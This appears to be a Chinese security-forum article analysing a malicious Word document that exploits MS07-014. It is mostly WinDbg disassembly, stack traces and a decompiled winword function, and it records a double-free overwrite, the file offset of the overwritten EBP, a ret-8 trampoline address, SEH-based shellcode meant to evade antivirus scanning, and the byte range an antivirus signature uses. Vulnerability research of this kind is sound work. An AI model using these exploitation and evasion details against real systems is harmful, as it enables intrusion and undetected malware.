首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞检测>文章内容
MS07-014调试手记
来源:http://www.softrce.net 作者:softrce 发布时间:2010-01-13  

前面:

该文是去年某月份写的,今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过),所以…
望路过的朋友指点下关于double free的问题,thx!

分析过程:

1、异常后的栈回溯
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> ub
<Unloaded_ta.dll>+0xba898a:
00ba898b 0000            add     byte ptr [eax],al
00ba898d 13d6            adc     edx,esi
00ba898f 3083c7415764    xor     byte ptr [ebx+645741C7h],al
00ba8995 ff30            push    dword ptr [eax]
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理
00ba899a ba3243313a      mov     edx,offset <Unloaded_ta.dll>+0×3a314331 (3a314332)
00ba899f 81c214131211    add     edx,offset <Unloaded_ta.dll>+0×11121313 (11121314)
00ba89a5 bf00001400      mov     edi,offset <Unloaded_ta.dll>+0×13ffff (00140000)
0:000> u
<Unloaded_ta.dll>+0xba89a9:
00ba89aa 3b17            cmp     edx,dword ptr [edi]                    // 异常位置
00ba89ac 7403            je      <Unloaded_ta.dll>+0xba89b0 (00ba89b1)
00ba89ae 47              inc     edi
00ba89af ebf9            jmp     <Unloaded_ta.dll>+0xba89a9 (00ba89aa)
00ba89b1 83c704          add     edi,4
00ba89b4 67648f060000    pop     dword ptr fs:[0000h]
00ba89ba 57              push    edi
00ba89bb c3              ret
///////////////////////////////////////////////////////////////////////////////////////////////

异常时的状态
///////////////////////////////////////////////////////////////////////////////////////////////
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00142b00 ecx=00000000 edx=4b435646 esi=00000000 edi=00feeffd
eip=00ba89aa esp=0011aca4 ebp=6c030a01 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203
<Unloaded_ta.dll>+0xba89a9:
00ba89aa 3b17            cmp     edx,dword ptr [edi]  ds:0023:00feeffd=00000000

注意到寄存器已经被覆盖
edx=4b435646
ebp=6c030a01

我们再回头看看SEH的回调处理是如何的?

00ba8995 ff30            push    dword ptr [eax]
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理

0:000> dd poi(fs:0) l2
0011aca4  0012f904 00ba896d

这里已经是shellcode了,异常是shellcode搞得鬼。
///////////////////////////////////////////////////////////////////////////////////////////////

2、栈回溯问题
显然我们这时候用k命令进行回溯已经是错误的了
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0011ace8 30d60800 <Unloaded_ta.dll>+0xba89a9
0011acec 00000000 mso!Ordinal2171+0×2ab
///////////////////////////////////////////////////////////////////////////////////////////////
手工回溯栈
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> !teb
TEB at 7ffdd000
ExceptionList:        0011aca4
StackBase:            00130000              // 基地址
StackLimit:           0011a000              // 边界
SubSystemTib:         00000000
FiberData:            00001e00
ArbitraryUserPointer: 00000000
Self:                 7ffdd000
EnvironmentPointer:   00000000
ClientId:             000006a4 . 00000fe0
RpcHandle:            00000000
Tls Storage:          00142ad0
PEB Address:          7ffde000
LastErrorValue:       0
LastStatusValue:      c0000034
Count Owned Locks:    0
HardErrorMode:        0
///////////////////////////////////////////////////////////////////////////////////////////////

栈是从基地址往低地址生长的,我从0011a000这个边界往回找
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> dds 0011a000 0011a000+1000
0011a000  00000000
0011a004  00000000
0011a008  00000000
0011a00c  00000000
0011a010  00000000
0011a014  00000000
0011a018  00000000
0011a01c  00000000
…                                                             // 往下是异常处理
0011a87c  7c930833 ntdll!RtlpImageNtHeader+0×56
0011a880  00ba896d <Unloaded_ta.dll>+0xba896c
0011a884  7c920000 ntdll!RtlDosPathSeperatorsString <PERF> (ntdll+0×0)
0011a888  0011ac00 <Unloaded_ta.dll>+0×11abff
0011a88c  7c9200e0 ntdll!RtlDosPathSeperatorsString <PERF> (ntdll+0xe0)
0011a890  0011a880 <Unloaded_ta.dll>+0×11a87f

0011a9a8  7c92eafa ntdll!KiUserExceptionDispatcher+0xe
0011a9ac  7c92d625 ntdll!NtContinue+0xc
0011a9b0  7c92eb08 ntdll!KiUserExceptionDispatcher+0×1c
0011a9b4  0011a9d8 <Unloaded_ta.dll>+0×11a9d7
0011a9b8  00000000
0011a9bc  c0000005

0011ace0  00000000
0011ace4  ebc03300
0011ace8  0000003a <Unloaded_ta.dll>+0×39
0011acec  30d60800 mso!Ordinal2171+0×2ab            // 这里就 kb 命令能回溯到的地方,出问题的就在下一个吧
0011acf0  00000000
0011acf4  00000000
0011acf8  00000000
0011acfc  00000000

0011afac  00000000
0011afb0  00000000
0011afb4  0011aff0 <Unloaded_ta.dll>+0×11afef
0011afb8  300316e8 winword+0×316e8                  // 这个就是出问题的函数了
0011afbc  0011aff0 <Unloaded_ta.dll>+0×11afef
0011afc0  30cb099d mso!MsoReleaseMemCore+0×1e       // 注意到这个 内存 释放函数
0011afc4  00000003 <Unloaded_ta.dll>+0×2
0011afc8  00000001 <Unloaded_ta.dll>
0011afcc  00000000
///////////////////////////////////////////////////////////////////////////////////////////////

3、问题函数

我们回头看看 winword+0×316e8 这个函数
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> uf winword+0×316e8
winword+0×316e8:
300316e8 85db            test    ebx,ebx
300316ea 8bf0            mov     esi,eax
300316ec 5f              pop     edi
300316ed 0f84d3eb0100    je      winword+0×502c6 (300502c6)

winword+0×316f3:
300316f3 ff75fc          push    dword ptr [ebp-4]
300316f6 ff157c20a730    call    dword ptr [winword!wdGetApplicationObject+0x2817a0 (30a7207c)] // 跟的时候这里就是 mso!MsoReleaseMemCore

winword+0×316fc:
300316fc 5b              pop     ebx
300316fd 8bc6            mov     eax,esi
300316ff 5e              pop     esi
30031700 c9              leave
30031701 c21400          ret     14h

winword+0×502c6:
300502c6 837dfc00        cmp     dword ptr [ebp-4],0
300502ca 0f842c14feff    je      winword+0×316fc (300316fc)

winword+0×502d0:
300502d0 e9f32e3200      jmp     winword!wdCommandDispatch+0×9350f (303731c8)

winword!wdCommandDispatch+0×9350f:
303731c8 ff75fc          push    dword ptr [ebp-4]
303731cb ff150c20a730    call    dword ptr [winword!wdGetApplicationObject+0x281730 (30a7200c)]
303731d1 e926e5cbff      jmp     winword+0×316fc (300316fc)
///////////////////////////////////////////////////////////////////////////////////////////////
既然有释放也必然有 alloc
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> x mso!Mso*MemCore
30cafa50 mso!MsoFAllocMemCore (<no parameter info>)
30cafccb mso!MsoFMarkMemCore (<no parameter info>)
30cb097f mso!MsoReleaseMemCore (<no parameter info>)
///////////////////////////////////////////////////////////////////////////////////////////////

显然这是个堆溢出,用IDA看了下
///////////////////////////////////////////////////////////////////////////////////////////////
int __stdcall sub_30031687(void *a1, int a2, int a3, int a4, int a5)
{
int v5; // ebx@2
int v6; // esi@4
int v8; // eax@2
int v9; // [sp+10h] [bp-4h]@2
int v10; // [sp+4h] [bp-10h]@4
int v11; // [sp+Ch] [bp-8h]@4
unsigned int v12; // [sp+8h] [bp-Ch]@4

if ( (unsigned int)a3 <= 0xA8C )
{
v6 = sub_30050378(a1, a2, a3, a4, a5);
}
else
{
v8 = MsoFMarkMemCore(&v9, 0×3FA3u);
v5 = v8;
if ( !v8 )
v9 = MsoPvAllocCore(0×3FA3u, 2);
if ( v9 )
{
v10 = 0;
v11 = v9;
v12 = 0×3FA3u;
v6 = sub_30031704(a1, a2, a3, a4, a5, (int)&v10);
if ( v5 )
{
MsoReleaseMemCore(v9);
}
else
{
if ( v9 )
MsoFreePv(v9);
}
}
else
{
v6 = sub_308FE25F(a1, a2, a3, a4, a5);
}
}
return v6;
}
///////////////////////////////////////////////////////////////////////////////////////////////

在最后EBP被覆盖前,有Double Free的现象
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bc84 30038e74 00b80418 08b3b9f4 00000000 mso!MsoReleaseMemCore
0012c0cc 3006df62 08b3b9f4 00000117 00000000 winword+0×38e74
0012c100 3006deb0 00000117 000c0838 0012c128 winword+0×6df62
0012c138 3006db3f 00b80398 00b80398 0cea08ca winword+0×6deb0
0012c170 30071151 00000001 00b80398 0cea08ca winword+0×6db3f
0012c228 30073769 00b80398 00000000 00000000 winword+0×71151
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0×73769
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0×7250e
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0×6a9a0
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0×67b12
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0×5b
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0×43
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 <Unloaded_ta.dll>+0×12c6d3
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0×5f
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0×1f
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0×13
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0×2f3fec
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0×2f4452
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0×2fb88a
00000000 00000000 00000000 00000000 00000000 winword+0×3ce45
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=08b3b9f4 ecx=0012bc58 edx=7c92eb94 esi=00000000 edi=0012beb4
eip=30cb097f esp=0012bc80 ebp=0012bd98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!MsoReleaseMemCore:
30cb097f 57              push    edi
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bd98 00000000 0012f904 00000002 0e19ab00 mso!MsoReleaseMemCore
0:000> g
Breakpoint 1 hit
eax=00000001 ebx=00000000 ecx=08b3bad4 edx=7c92eb94 esi=00000001 edi=08b3bad4
eip=30cb097f esp=0012bc6c ebp=0012bc80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mso!MsoReleaseMemCore:
30cb097f 57              push    edi
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bc80 30038e74 00b80418 08b3bad4 00000000 mso!MsoReleaseMemCore
0012c0c8 3006df62 08b3bad4 00000116 00000000 winword+0×38e74
0012c0fc 3006e74c 00000116 000c0838 0012c128 winword+0×6df62
0012c138 3006e701 00b80398 00b80398 0cea08ca winword+0×6e74c
0012c170 30071151 00000001 00b80398 0cea08ca winword+0×6e701
0012c228 30073769 00b80398 00000000 00000000 winword+0×71151
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0×73769
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0×7250e
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0×6a9a0
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0×67b12
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0×5b
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0×43
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 <Unloaded_ta.dll>+0×12c6d3
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0×5f
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0×1f
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0×13
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0×2f3fec
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0×2f4452
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0×2fb88a
00000000 00000000 00000000 00000000 00000000 winword+0×3ce45
///////////////////////////////////////////////////////////////////////////////////////////////

覆盖后的
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> r ebp
ebp=6c030a01

注意doc便宜 BE8 位置上的内容
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000BE0   00 00 00 FF 34 D6 06 00  01 0A 03 6C C4 33 00 30   …4?….l?.0
00000BF0   00 00 06 00 00 16 24 01  49 66 01 00 00 00 00 05   ……$.If……
///////////////////////////////////////////////////////////////////////////////////////////////

往下走的时候
///////////////////////////////////////////////////////////////////////////////////////////////
0:000> u
winword+0×33c4:
300033c4 55              push    ebp
300033c5 8bec            mov     ebp,esp
300033c7 833d74d2a83002  cmp     dword ptr [winword!wdGetApplicationObject+0x29c998 (30a8d274)],2
300033ce 0f855c903600    jne     winword!wdCommandDispatch+0×8c777 (3036c430)
300033d4 ff15bc130030    call    dword ptr [winword+0x13bc (300013bc)]
300033da 85c0            test    eax,eax
300033dc 7410            je      winword+0×33ee (300033ee)
300033de ff750c          push    dword ptr [ebp+0Ch]
0:000> u
winword+0×33e1:
300033e1 ff7508          push    dword ptr [ebp+8]
300033e4 50              push    eax
300033e5 e80d000000      call    winword+0×33f7 (300033f7)
300033ea 5d              pop     ebp
300033eb c20800          ret     8                          // 需要用到 ret 8 来协调
///////////////////////////////////////////////////////////////////////////////////////////////
接下来就是要的shellcode

总结如下:
利用 WORD 存在的 Double Free 实现覆盖, 然后通过300033eb地址上的通用调转来实现最终shellcode的执行。
shellocode 利用 异常机制来反杀毒软件对shellcode的检测。(其实我对 double free 是不明白的,望大牛路过指教下!)

AVP特征:
///////////////////////////////////////////////////////////////////////////////////////////////
0xb7e – 0xbf7

所在格式:

Border Code (BRC) -> sprmTTableBorders

sprmTTableBorders  0xd613  change tap.rgbrcTable  BRC[6] (see below)  variable length
sprmTTableBorders (opcode 0xD613) sets the tap.rgbrcTable. The sprm is interpreted
by moving the 48 bytes of the sprmBRCs) to tap.rgbrcTable.

avp不是这个格式来定位特征,应该是死偏移来解决的。
///////////////////////////////////////////////////////////////////////////////////////////////

支持大萝卜的 softrce~~


 
[推荐] [评论(1条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·udp_sendmsg空指针漏洞分析
·一段对perl 木马的分析
·CVE-2010-4258漏洞分析
·小心我“DIR”溢出你!
·Adobe Reader 'CoolType.dll' TT
·袁哥写的漏洞研究方法总结
·利用异常处理执行shellcode实例
·注入点检测新方法
·PHPBB<+2.0.10 漏洞说明
·水晶论坛(WDB)安全性分析
·Apache mod_ssl buffer over分析
·RPC漏洞的通用分析方法
  相关文章
·对一款国家级内容过滤系统Dos安
·RPC漏洞的通用分析方法
·udp_sendmsg空指针漏洞分析
·mb_ereg(i)_replace()代码注射漏
·preg_match(_all)的变量初始化问
·intval()使用不当导致安全漏洞的
·读新术-基于开源代码更新的漏洞
·采众家之长分析及改进Cmail漏洞
·CVE-2010-4258漏洞分析
·一个CGI程序的漏洞挖掘
·Adobe Reader 'CoolType.dll' TT
·Win32k.sys键盘布局文件提权漏洞
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved